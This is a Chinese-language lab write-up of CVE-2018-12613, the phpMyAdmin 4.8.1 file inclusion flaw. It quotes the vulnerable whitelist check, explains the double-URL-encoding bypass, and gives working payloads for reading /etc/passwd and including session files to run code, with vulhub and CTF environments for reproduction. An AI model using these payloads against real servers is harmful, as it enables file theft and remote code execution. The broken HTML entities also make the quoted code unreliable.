CVE201812613(phpmyadmin4.8.1远程文件包含漏洞)

phpmyadmin 4.8.1 远程文件包含漏洞&＃xff08;CVE-2018-12613&＃xff09;

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑&＃xff0c;通过二次编码即可绕过检查&＃xff0c;造成远程文件包含漏洞。

0x01 影响范围

phpMyAdmin 4.8.0 and 4.8.1 are affected.

0x02 原理

漏洞代码

$target_blacklist &＃61; array (&＃39;import.php&＃39;, &＃39;export.php&＃39;
);// If we have a valid target, let&＃39;s load that script instead
if (! empty($_REQUEST[&＃39;target&＃39;])&& is_string($_REQUEST[&＃39;target&＃39;]) // 得是字符串&& ! preg_match(&＃39;/^index/&＃39;, $_REQUEST[&＃39;target&＃39;]) // 不能以index开头&& ! in_array($_REQUEST[&＃39;target&＃39;], $target_blacklist) // 不能是import.php&＃xff0c;export.php&& Core::checkPageValidity($_REQUEST[&＃39;target&＃39;]) // 返回为true
) {include $_REQUEST[&＃39;target&＃39;];exit;
}


对传入参数target进行限制&＃xff0c;存在文件包含的危险&＃xff0c;
只要绕过checkPageValidity函数&＃xff0c;就能实现文件包含。
checkPageValidity函数代码&＃xff1a;

public static function checkPageValidity(&$page, array $whitelist &＃61; []){if (empty($whitelist)) {$whitelist &＃61; self::$goto_whitelist;}if (! isset($page) || !is_string($page)) {return false;}if (in_array($page, $whitelist)) {return true;}$_page &＃61; mb_substr($page,0,mb_strpos($page . &＃39;?&＃39;, &＃39;?&＃39;));if (in_array($_page, $whitelist)) {return true;}$_page &＃61; urldecode($page);$_page &＃61; mb_substr($_page,0,mb_strpos($_page . &＃39;?&＃39;, &＃39;?&＃39;));if (in_array($_page, $whitelist)) {return true;}return false;}


• 如果传入的target在$whitelist &＃61; self::$goto_whitelist;的白名单里&＃xff0c;返回true 白名单有

&＃39;db_datadict.php&＃39;,&＃39;db_sql.php&＃39;,&＃39;db_events.php&＃39;,&＃39;db_export.php&＃39;,&＃39;db_importdocsql.php&＃39;,&＃39;db_multi_table_query.php&＃39;,&＃39;db_structure.php&＃39;,&＃39;db_import.php&＃39;,&＃39;db_operations.php&＃39;,&＃39;db_search.php&＃39;,&＃39;db_routines.php&＃39;,&＃39;export.php&＃39;,&＃39;import.php&＃39;,&＃39;index.php&＃39;,&＃39;pdf_pages.php&＃39;,&＃39;pdf_schema.php&＃39;,&＃39;server_binlog.php&＃39;,&＃39;server_collations.php&＃39;,&＃39;server_databases.php&＃39;,&＃39;server_engines.php&＃39;,&＃39;server_export.php&＃39;,&＃39;server_import.php&＃39;,&＃39;server_privileges.php&＃39;,&＃39;server_sql.php&＃39;,&＃39;server_status.php&＃39;,&＃39;server_status_advisor.php&＃39;,&＃39;server_status_monitor.php&＃39;,&＃39;server_status_queries.php&＃39;,&＃39;server_status_variables.php&＃39;,&＃39;server_variables.php&＃39;,&＃39;sql.php&＃39;,&＃39;tbl_addfield.php&＃39;,&＃39;tbl_change.php&＃39;,&＃39;tbl_create.php&＃39;,&＃39;tbl_import.php&＃39;,&＃39;tbl_indexes.php&＃39;,&＃39;tbl_sql.php&＃39;,&＃39;tbl_export.php&＃39;,&＃39;tbl_operations.php&＃39;,&＃39;tbl_structure.php&＃39;,&＃39;tbl_relation.php&＃39;,&＃39;tbl_replace.php&＃39;,&＃39;tbl_row_action.php&＃39;,&＃39;tbl_select.php&＃39;,&＃39;tbl_zoom_select.php&＃39;,&＃39;transformation_overview.php&＃39;,&＃39;transformation_wrapper.php&＃39;,&＃39;user_password.php&＃39;


• 这是截取传入参数“?”前的字符串&＃xff0c;如果截取后的文件名在白名单里&＃xff0c;返回true

  $_page &＃61; mb_substr($page,0,mb_strpos($page . &＃39;?&＃39;, &＃39;?&＃39;));


• 对输入参数进行url解码&＃xff0c;再进行截取&＃xff0c;判断是否在白名单里&＃xff0c;这里就存在构造payload

  $_page &＃61; urldecode($page);$_page &＃61; mb_substr($_page,0,mb_strpos($_page . &＃39;?&＃39;, &＃39;?&＃39;));


payload:?target&＃61;db_sql.php%253f/../../../../../../xxxx
服务器默认会进行一次url解码&＃xff0c;那么%253f就会被解码为%3f&＃xff0c;再进行url二次解码后为"?"&＃xff0c;在进行截取时是db_sql.php?/../../../../../../xxxx?&＃xff0c;这样只会截取db_sql.php&＃xff0c;是白名单&＃xff0c;但最后文件包含的target参数内容是db_sql.php%3f/../../../../../../xxxx &＃xff0c;包含的文件为../../../../../../xxxx

0x03 漏洞利用

1. 检测是否存在漏洞&＃xff08;不唯一&＃xff09;
   payload:http://your-ip:8080/index.php?target&＃61;db_sql.php%253f/../../../../../../../../etc/passwd
   若passwd文件被读取&＃xff0c;则存在漏洞。
   
2. 查询数据库路径 show global variables like "%datadir%"
   
3. 通过包含session临时文件来实现
   执行SELECT &＃39;&＃39;;
   查看session值
   
   payload:?target&＃61;db_sql.php%253f/../../../../../../../../tmp/sess_a20b482402ef018b8e711c7d22891c7b
   执行成功

0x04 环境复现

• vulhub

• buuoj:[GWCTF 2019]我有一个数据库

0x05 参考

https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md